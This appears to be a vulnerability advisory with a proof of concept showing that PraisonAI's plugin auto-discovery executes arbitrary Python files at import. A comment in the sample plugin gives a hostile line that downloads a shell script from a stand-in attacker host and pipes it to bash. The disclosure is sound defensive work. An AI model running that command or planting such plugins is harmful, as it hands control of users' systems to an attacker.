PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification

def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"